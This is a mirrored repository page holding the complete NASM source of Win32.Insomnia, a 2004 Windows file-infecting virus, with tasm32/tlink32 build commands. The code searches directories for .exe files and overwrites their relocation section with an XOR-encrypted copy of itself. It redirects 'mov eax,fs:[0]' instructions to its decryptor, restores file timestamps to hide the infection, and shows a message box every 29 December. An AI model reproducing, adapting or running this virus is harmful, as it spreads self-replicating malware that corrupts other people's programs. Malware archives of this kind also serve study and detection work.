mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
469 lines
10 KiB
NASM
469 lines
10 KiB
NASM
; Win32.Insomnia (c) DR-EF.
|
||
;--------------------------------------------------
|
||
;virus name:Win32.Insomnia
|
||
;virus author:DR-EF
|
||
;virus size:1972 bytes
|
||
;features:
|
||
; o dont increase file size,overwrite reloc
|
||
; section instead.
|
||
; o use EPO - replace all mov eax,fs:[00000000]
|
||
; instructions with call virus decryptor.
|
||
; o encrypted with new key for each file.
|
||
; o use the dotdot method to find files.
|
||
;payload:messagebox with this text:
|
||
; ".:[Win32.Insomnia <20> 2004 DR-EF]:."
|
||
; every year at 29/12.
|
||
;compile:
|
||
; tasm32 /m3 /ml /zi Insomnia.asm , , ;
|
||
; tlink32 /tpe /aa /v Insomnia , Insomnia,,import32.lib
|
||
; pewrsec Insomnia.exe
|
||
;--------------------------------------------------
|
||
|
||
.386
|
||
.model flat
|
||
|
||
extrn ExitProcess:proc
|
||
|
||
virus_size equ (EndVirus-virus_start)
|
||
INVALID_HANDLE_VALUE equ -1
|
||
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
||
OPEN_EXISTING equ 3
|
||
GENERIC_WRITE equ 40000000h
|
||
GENERIC_READ equ 80000000h
|
||
PAGE_READWRITE equ 4h
|
||
FILE_MAP_WRITE equ 00000002h
|
||
|
||
.data
|
||
db ?
|
||
.code
|
||
|
||
virus_start:
|
||
call Delta
|
||
Delta: pop ebp
|
||
sub ebp,offset Delta
|
||
mov ecx,NumberOfKernelBases
|
||
lea esi,[ebp + KernelBaseTable]
|
||
@next_k:lodsd
|
||
call GetKernel32Base
|
||
jc GetApis
|
||
loop @next_k
|
||
jmp reth ;return to host
|
||
KernelBaseTable:
|
||
dd 804d4000h ;winXP
|
||
dd 0bff60000h ;winME
|
||
dd 77f00000h ;winNT
|
||
dd 77e70000h ;win2K
|
||
dd 0bff70000h ;win9X
|
||
NumberOfKernelBases equ 5h
|
||
|
||
GetApis:mov eax,[ebp + kernel32base]
|
||
add eax,[eax + 3ch]
|
||
mov eax,[eax + 78h]
|
||
add eax,[ebp + kernel32base]
|
||
;eax - kernel32 export table
|
||
push eax
|
||
xor edx,edx
|
||
mov eax,[eax + 20h]
|
||
add eax,[ebp + kernel32base]
|
||
mov edi,[eax]
|
||
add edi,[ebp + kernel32base]
|
||
;edi - api names array
|
||
dec edi
|
||
nxt_cmp:inc edi
|
||
lea esi,[ebp + _GetProcAddress]
|
||
mov ecx,0eh
|
||
rep cmpsb
|
||
je search_address
|
||
inc edx
|
||
nxt_l: cmp byte ptr [edi],0h
|
||
je nxt_cmp
|
||
inc edi
|
||
jmp nxt_l
|
||
search_address:
|
||
pop eax
|
||
;eax - kernel32 export table
|
||
;edx - GetProcAddress position
|
||
shl edx,1h
|
||
mov ebx,[eax + 24h]
|
||
add ebx,[ebp + kernel32base]
|
||
add ebx,edx
|
||
mov dx,word ptr [ebx]
|
||
shl edx,2h
|
||
mov ebx,[eax + 1ch]
|
||
add ebx,[ebp + kernel32base]
|
||
add ebx,edx
|
||
mov ebx,[ebx]
|
||
add ebx,[ebp + kernel32base]
|
||
mov [ebp + GetProcAddress],ebx
|
||
mov ecx,NumberOfApis
|
||
lea eax,[ebp + ApiNamesTable]
|
||
lea ebx,[ebp + ApiAddressTable]
|
||
nxt_api:push ecx
|
||
push eax
|
||
push eax
|
||
push [ebp + kernel32base]
|
||
call [ebp + GetProcAddress]
|
||
or eax,eax
|
||
je api_err
|
||
mov dword ptr [ebx],eax
|
||
pop eax
|
||
nxt_al: inc eax
|
||
cmp byte ptr [eax],0h
|
||
jne nxt_al
|
||
inc eax
|
||
add ebx,4h
|
||
pop ecx
|
||
loop nxt_api
|
||
jmp InfectFiles
|
||
api_err:add esp,8h
|
||
jmp reth
|
||
|
||
_GetProcAddress db "GetProcAddress",0
|
||
GetProcAddress dd 0
|
||
kernel32base dd 0
|
||
|
||
ApiNamesTable:
|
||
_FindFirstFile db "FindFirstFileA",0
|
||
_FindNextFile db "FindNextFileA",0
|
||
_GetCurrentDirectory db "GetCurrentDirectoryA",0
|
||
_SetCurrentDirectory db "SetCurrentDirectoryA",0
|
||
_CreateFile db "CreateFileA",0
|
||
_CloseHandle db "CloseHandle",0
|
||
_CreateFileMapping db "CreateFileMappingA",0
|
||
_MapViewOfFile db "MapViewOfFile",0
|
||
_UnmapViewOfFile db "UnmapViewOfFile",0
|
||
_GetLocalTime db "GetLocalTime",0
|
||
_LoadLibrary db "LoadLibraryA",0
|
||
_SetFileTime db "SetFileTime",0
|
||
|
||
ApiAddressTable:
|
||
FindFirstFile dd 0
|
||
FindNextFile dd 0
|
||
GetCurrentDirectory dd 0
|
||
SetCurrentDirectory dd 0
|
||
CreateFile dd 0
|
||
CloseHandle dd 0
|
||
CreateFileMapping dd 0
|
||
MapViewOfFile dd 0
|
||
UnmapViewOfFile dd 0
|
||
GetLocalTime dd 0
|
||
LoadLibrary dd 0
|
||
SetFileTime dd 0
|
||
|
||
NumberOfApis equ 12
|
||
|
||
GetKernel32Base:
|
||
pushad
|
||
lea ebx,[ebp + k32err]
|
||
push ebx
|
||
xor ebx,ebx
|
||
push dword ptr fs:[ebx]
|
||
mov fs:[ebx],esp
|
||
mov ebx,eax
|
||
cmp word ptr [eax],"ZM"
|
||
jne _k32err
|
||
add eax,[eax + 3ch]
|
||
cmp word ptr [eax],"EP"
|
||
jne _k32err
|
||
mov [ebp + kernel32base],ebx
|
||
pop dword ptr fs:[0]
|
||
add esp,4h
|
||
popad
|
||
stc
|
||
ret
|
||
_k32err:pop dword ptr fs:[0]
|
||
add esp,4h
|
||
popad
|
||
clc
|
||
ret
|
||
k32err: mov esp,[esp + 8h]
|
||
pop dword ptr fs:[0]
|
||
add esp,4h
|
||
popad
|
||
clc
|
||
ret
|
||
|
||
VirusCopyRight db ".:[Win32.Insomnia <20> 2004 DR-EF]:.",0
|
||
|
||
InfectFiles:
|
||
mov [ebp + max_dirs],0fh
|
||
lea eax,[ebp + cdir]
|
||
push eax
|
||
push 0ffh
|
||
call [ebp + GetCurrentDirectory]
|
||
or eax,eax
|
||
je ReturnToHost
|
||
s_files:cmp [ebp + max_dirs],0h
|
||
je r_dir
|
||
lea eax,[ebp + WIN32_FIND_DATA]
|
||
push eax
|
||
lea eax,[ebp + search_mask]
|
||
push eax
|
||
call [ebp + FindFirstFile]
|
||
cmp eax,INVALID_HANDLE_VALUE
|
||
je nxt_dir
|
||
mov [ebp + hfind],eax
|
||
i_file: call InfectFile
|
||
lea eax,[ebp + WIN32_FIND_DATA]
|
||
push eax
|
||
push [ebp + hfind]
|
||
call [ebp + FindNextFile]
|
||
or eax,eax
|
||
jne i_file
|
||
nxt_dir:dec [ebp + max_dirs]
|
||
lea eax,[ebp + dotdot]
|
||
push eax
|
||
call [ebp + SetCurrentDirectory]
|
||
or eax,eax
|
||
jne s_files
|
||
r_dir: lea eax,[ebp + cdir]
|
||
push eax
|
||
call [ebp + SetCurrentDirectory]
|
||
ReturnToHost:
|
||
;check for payload:
|
||
lea eax,[ebp + SYSTEMTIME]
|
||
push eax
|
||
call [ebp + GetLocalTime]
|
||
cmp word ptr [ebp + wMonth],0ch
|
||
jne reth
|
||
cmp word ptr [ebp + wDay],1dh
|
||
jne reth
|
||
lea eax,[ebp + user32dll]
|
||
push eax
|
||
call [ebp + LoadLibrary]
|
||
or eax,eax
|
||
je reth
|
||
lea ebx,[ebp + MessageBox]
|
||
push ebx
|
||
push eax
|
||
call [ebp + GetProcAddress]
|
||
or eax,eax
|
||
je reth
|
||
xor ecx,ecx
|
||
push MB_ICONINFORMATION or MB_SYSTEMMODAL
|
||
push ecx
|
||
lea ebx,[ebp + VirusCopyRight]
|
||
push ebx
|
||
push ecx
|
||
call eax
|
||
reth: popfd
|
||
popad
|
||
db 64h,0A1h,0,0,0,0 ;mov eax,fs:[00000000]
|
||
ret
|
||
|
||
|
||
SYSTEMTIME:
|
||
wYear dw 0
|
||
wMonth dw 0
|
||
wDayOfWeek dw 0
|
||
wDay dw 0
|
||
wHour dw 0
|
||
wMinute dw 0
|
||
wSecond dw 0
|
||
wMilliseconds dw 0
|
||
|
||
user32dll db "user32.dll",0
|
||
MessageBox db "MessageBoxA",0
|
||
MB_SYSTEMMODAL equ 00001000h
|
||
MB_ICONINFORMATION equ 00000040h
|
||
|
||
|
||
hfind dd 0
|
||
max_dirs db 0fh
|
||
search_mask db "*.exe",0
|
||
dotdot db "..",0
|
||
cdir db 0ffh dup(0)
|
||
|
||
|
||
WIN32_FIND_DATA:
|
||
dwFileAttributes dd 0
|
||
ftCreationTime dq 0
|
||
ftLastAccessTime dq 0
|
||
ftLastWriteTime dq 0
|
||
nFileSizeHigh dd 0
|
||
nFileSizeLow dd 0
|
||
dwReserved0 dd 0
|
||
dwReserved1 dd 0
|
||
cFileName db 0ffh dup (0)
|
||
cAlternateFileName db 20 dup (0)
|
||
|
||
|
||
InfectFile:
|
||
inc byte ptr [ebp + decrypt_key] ;create new key
|
||
lea ebx,[ebp + cFileName]
|
||
xor eax,eax
|
||
push eax
|
||
push FILE_ATTRIBUTE_NORMAL
|
||
push OPEN_EXISTING
|
||
push eax
|
||
push eax
|
||
push GENERIC_READ or GENERIC_WRITE
|
||
push ebx
|
||
call [ebp + CreateFile]
|
||
cmp eax,INVALID_HANDLE_VALUE
|
||
je ExitInfect
|
||
mov [ebp + hfile],eax
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push eax
|
||
push PAGE_READWRITE
|
||
push eax
|
||
push [ebp + hfile]
|
||
call [ebp + CreateFileMapping]
|
||
or eax,eax
|
||
je close_f
|
||
mov [ebp + hmap],eax
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push eax
|
||
push FILE_MAP_WRITE
|
||
push [ebp + hmap]
|
||
call [ebp + MapViewOfFile]
|
||
or eax,eax
|
||
je close_m
|
||
mov [ebp + mapbase],eax
|
||
;check for valid pe file
|
||
cmp word ptr [eax],"ZM"
|
||
jne CloseFile
|
||
add eax,[eax + 3ch]
|
||
cmp word ptr [eax],"EP"
|
||
jne CloseFile
|
||
;goto sections table
|
||
mov cx,[eax + 6h] ; get number of sections
|
||
and ecx,0ffffh
|
||
mov ebx,[eax + 34h];get image base
|
||
mov dword ptr [ebp + Virus_Start],ebx ;save image base insaid decryptor
|
||
mov ebx,[eax + 74h];get number of datadirectory
|
||
shl ebx,3h
|
||
add eax,ebx
|
||
add eax,78h
|
||
push eax ;eax - sections table
|
||
push ecx ;ecx - number of sections
|
||
;check for reloc section
|
||
@sec: cmp dword ptr [eax],"ler."
|
||
jne nxt_sec
|
||
cmp dword ptr [eax + 2h],"cole"
|
||
je f_rec
|
||
nxt_sec:add eax,28h
|
||
loop @sec
|
||
ext_rlc:add esp,8h ;restore stack
|
||
jmp CloseFile
|
||
;check if the reloc section is bigger than virus
|
||
f_rec: cmp dword ptr [eax + 8h],virus_size ;eax - reloc section header !
|
||
jb ext_rlc
|
||
;set new section flags
|
||
or dword ptr [eax + 24h],0c0000020h ;code\readable\writeable
|
||
;goto the section raw data:
|
||
mov edx,[eax + 0ch]
|
||
mov eax,[eax + 14h]
|
||
add eax,[ebp + mapbase]
|
||
;overwrite the reloc section with the virus
|
||
mov edi,eax
|
||
lea esi,[ebp + virus_start]
|
||
mov ecx,virus_size
|
||
@enc: lodsb
|
||
xor al,byte ptr [ebp + decrypt_key]
|
||
stosb
|
||
loop @enc
|
||
pop ecx ;ecx - number of sections
|
||
pop ebx ;ebx - sections table
|
||
sub eax,[ebp + mapbase]
|
||
add dword ptr [ebp + Virus_Start],edx ;eax - virus start infected files
|
||
@sec2: cmp dword ptr [ebx + 1h],"txet" ;text ?
|
||
je f_cod
|
||
cmp dword ptr [ebx + 1h],"edoc" ;code ?
|
||
je f_cod
|
||
cmp dword ptr [ebx],"EDOC" ;CODE ?
|
||
je f_cod
|
||
add ebx,28h
|
||
loop @sec2
|
||
add esp,4h ;restore stack
|
||
jmp CloseFile
|
||
;ebx - code section header
|
||
f_cod: mov ecx,[ebx + 10h] ;ecx - size of section raw data
|
||
mov edx,[ebx + 8h] ;edx - virtual section size
|
||
sub ecx,edx
|
||
cmp ecx,DecryptorSize
|
||
ja write_d
|
||
add esp,4h
|
||
jmp CloseFile
|
||
write_d:mov edi,[ebx + 14h]
|
||
mov [ebp + virus_entry_point],edi
|
||
add [ebp + virus_entry_point],edx
|
||
add edi,[ebp + mapbase]
|
||
push edi ;save code section raw data
|
||
add edi,edx ;esi - where to write virus decryptor
|
||
lea esi,[ebp + VirusDecryptorStart]
|
||
mov ecx,DecryptorSize
|
||
rep movsb
|
||
pop esi ;esi - code section raw data
|
||
;search for all mov eax,fs:[00000000] and replace it with nop --> call virus_decryptor
|
||
xchg edx,ecx ;ecx - code section virtual size
|
||
@1: cmp word ptr [esi],0a164h
|
||
jne nxt_w
|
||
cmp dword ptr [esi + 2],0
|
||
jne nxt_w
|
||
;esi - mov eax,fs:[00000000] location.
|
||
mov byte ptr [esi],90h ;nop
|
||
mov byte ptr [esi + 1h],0e8h;call
|
||
mov eax,[ebp + virus_entry_point]
|
||
mov ebx,esi
|
||
sub ebx,[ebp + mapbase]
|
||
sub eax,ebx
|
||
sub eax,6h
|
||
mov dword ptr [esi + 2h],eax
|
||
nxt_w: inc esi
|
||
loop @1
|
||
CloseFile:
|
||
push [ebp + mapbase]
|
||
call [ebp + UnmapViewOfFile]
|
||
close_m:push [ebp + hmap]
|
||
call [ebp + CloseHandle]
|
||
close_f:lea eax,[ebp + ftLastWriteTime]
|
||
push eax
|
||
lea eax,[ebp + ftLastAccessTime]
|
||
push eax
|
||
lea eax,[ebp + ftCreationTime]
|
||
push eax
|
||
push [ebp + hfile]
|
||
call [ebp + SetFileTime]
|
||
push [ebp + hfile]
|
||
call [ebp + CloseHandle]
|
||
ExitInfect:
|
||
ret
|
||
|
||
VirusDecryptorStart equ $
|
||
pushad
|
||
pushfd
|
||
mov esi,00000000
|
||
Virus_Start equ $-4
|
||
push esi
|
||
mov edi,esi
|
||
mov ecx,virus_size
|
||
@dcrypt:lodsb
|
||
xor al,5h
|
||
decrypt_key equ $-1
|
||
stosb
|
||
loop @dcrypt
|
||
ret
|
||
EndVirusDecryptor equ $
|
||
DecryptorSize equ (EndVirusDecryptor - VirusDecryptorStart)
|
||
|
||
hfile dd 0
|
||
hmap dd 0
|
||
mapbase dd 0
|
||
virus_entry_point dd 0
|
||
|
||
EndVirus equ $
|
||
|
||
First_Gen_Host:
|
||
push offset exit
|
||
pushfd
|
||
pushad
|
||
jmp virus_start
|
||
exit: push eax
|
||
call ExitProcess
|
||
end First_Gen_Host
|